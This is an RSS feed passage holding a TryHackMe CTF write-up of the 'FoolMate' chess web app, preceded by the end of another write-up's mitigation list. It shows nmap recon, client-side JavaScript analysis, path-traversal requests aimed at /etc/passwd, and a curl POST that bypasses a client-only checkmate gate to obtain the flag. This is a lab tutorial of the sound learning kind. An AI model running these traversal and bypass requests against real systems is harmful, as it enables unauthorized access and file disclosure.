&lt;li&gt;Never gate a security-relevant decision on a property that can be satisfied via the prototype chain. Use &lt;code&gt;Object.hasOwn(session.config, 'unlocked')&lt;/code&gt; (or equivalent) so an inherited/polluted property can't silently satisfy the check.&lt;/li&gt;
&lt;li&gt;Consider freezing sensitive objects/prototypes (&lt;code&gt;Object.freeze(Object.prototype)&lt;/code&gt;) at app startup as defense-in-depth against this exact class of bug.&lt;/li&gt;
&lt;li&gt;As with the original box, keep the actual reward/flag issuance logic entirely server-side and independent of anything the client can influence beyond the legitimate move itself.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : FoolMate Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 22 Jul 2026 10:30:44 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-foolmate-writeup-lfe</link>
      <guid>https://dev.to/exploitnotes/tryhackme-foolmate-writeup-lfe</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Endgame Trainer is a small web app that presents a "mate-in-one" chess puzzle. The board is legit (built on the &lt;code&gt;chess.js&lt;/code&gt; library), but the app has a gimmick: if you actually play the winning move, a fake system dialog pops up threatening to "shut down your PC" instead of letting you win. That block, however, only exists in the front-end JavaScript. The move itself is validated and executed by a backend API endpoint (&lt;code&gt;/api/move&lt;/code&gt;) that has no idea the UI is supposed to be stopping you. Sending the winning move (&lt;code&gt;a1a8&lt;/code&gt;, delivering checkmate) straight to the API with &lt;code&gt;curl&lt;/code&gt; skips the client-side gate entirely and the server hands back the flag in its JSON response. Along the way, a relative-path request also pulled the raw &lt;code&gt;chess.js&lt;/code&gt; source out from a directory that wasn't meant to be reachable, confirming exactly how the client-side move validation worked and that it could be bypassed server-side.&lt;/p&gt;

&lt;p&gt;Box IP referred to below as &lt;code&gt;machine-ip&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nmap output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:56 -0400
Nmap scan report for machine-ip
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;| ssh-hostkey: 
|   256 a8:1e:0e:a0:5f:74:77:25:d5:0f:11:98:56:9e:b0:ed (ECDSA)
|_  256 dd:84:d1:e8:ee:c2:69:30:cb:0c:1a:43:58:d4:45:d1 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 3 hops
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OS: Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class="go"&gt;
TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   37.15 ms 192.168.128.1
2   ...
3   38.04 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Two open ports: SSH (22, not the focus here) and an Express-based HTTP service on port 80 titled "Endgame Trainer."&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking out the web app
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Page source&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;




  &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Endgame Trainer&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;







        &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;♜&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;Endgame&lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;Trainer&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;

      Mate-in-one · White to move










            &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"turnDot"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"statusText"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;White to move&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;



        ...







        &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"winTitle"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;/usr/lib32&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&amp;lt;span&amp;gt;&lt;/span&gt;×&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;


        I'll shut down your PC if you play that.


        OK







&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The page is a chessboard UI starting from a mate-in-one position (&lt;code&gt;6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1&lt;/code&gt;, i.e. White rook on a1, Black king boxed in on g8). It's framed as a joke: try to deliver the actual mate and a fake "system" dialog threatens to shut down your PC instead of showing a win. That's the hint that the "you can't play that" logic is happening somewhere it shouldn't be trusted - the client.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reading the client logic
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/js/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key excerpt from app.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Chess&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../vendor/chess.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;START_FEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;preMoveCheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;probe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Chess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fen&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;move&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isCheckmate&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;showSystemNotice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;I'll shut down your PC if you play that.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;doMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isLegalTarget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;needsPromotion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;preMoveCheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;setElPos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;els&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;toast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SMUG&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;SMUG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)]);&lt;/span&gt;
  &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/move&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;This is the whole game right here. &lt;code&gt;preMoveCheck()&lt;/code&gt; runs a local, throwaway copy of the chess engine (&lt;code&gt;probe&lt;/code&gt;) against the move the user is trying to make. If that probe results in checkmate, the front end just refuses to call &lt;code&gt;sendMove()&lt;/code&gt; and shows the fake "shut down your PC" popup instead. It never touches the server. The actual move submission happens over &lt;code&gt;fetch('/api/move', ...)&lt;/code&gt;, a plain POST with &lt;code&gt;from&lt;/code&gt;/&lt;code&gt;to&lt;/code&gt;/&lt;code&gt;promotion&lt;/code&gt; in JSON - nothing here that couldn't be replayed directly with &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Confirming the library and a stray path traversal
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/../vendor/chess.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Excerpt from chess.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * @license
 * Copyright (c) 2025, Jeff Hlywa (jhlywa@gmail.com)
 * ...
 */&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;WHITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;w&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BLACK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Chess&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
  &lt;span class="nf"&gt;isCheckmate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isCheck&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_moves&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Requesting &lt;code&gt;/../vendor/chess.js&lt;/code&gt; against the static file server successfully returned the full, unminified &lt;code&gt;chess.js&lt;/code&gt; source from outside the intended web root - a relative-path traversal in how static assets are served. It didn't hand over anything sensitive on its own (just the open-source chess library also used in the front end), but it confirmed the exact validation logic being run client-side and that the static handler wasn't strictly confining requests to its public directory.&lt;/p&gt;

&lt;p&gt;I tried pushing the traversal further to grab actual system files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/../../etc/passwd
curl http://machine-ip/../../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (both attempts)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;



&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;


&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;Cannot GET /etc/passwd&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Both attempts to reach &lt;code&gt;/etc/passwd&lt;/code&gt; were rejected - the traversal that reached &lt;code&gt;vendor/&lt;/code&gt; was likely a one-off consequence of the static root's structure rather than a fully open path traversal, and it didn't extend to arbitrary filesystem reads.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exploitation - bypassing the client-side checkmate gate
&lt;/h2&gt;

&lt;p&gt;Since &lt;code&gt;preMoveCheck()&lt;/code&gt; is purely cosmetic and &lt;code&gt;/api/move&lt;/code&gt; is a plain unauthenticated JSON endpoint, the fix was to just talk to the API directly and skip the browser (and its popup) entirely.&lt;/p&gt;

&lt;p&gt;Grabbed a session cookie first, since the app tracks board state server-side per session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://machine-ip/ &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then played the actual mate-in-one - rook from a1 to a8, delivering checkmate on the boxed-in king on g8:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
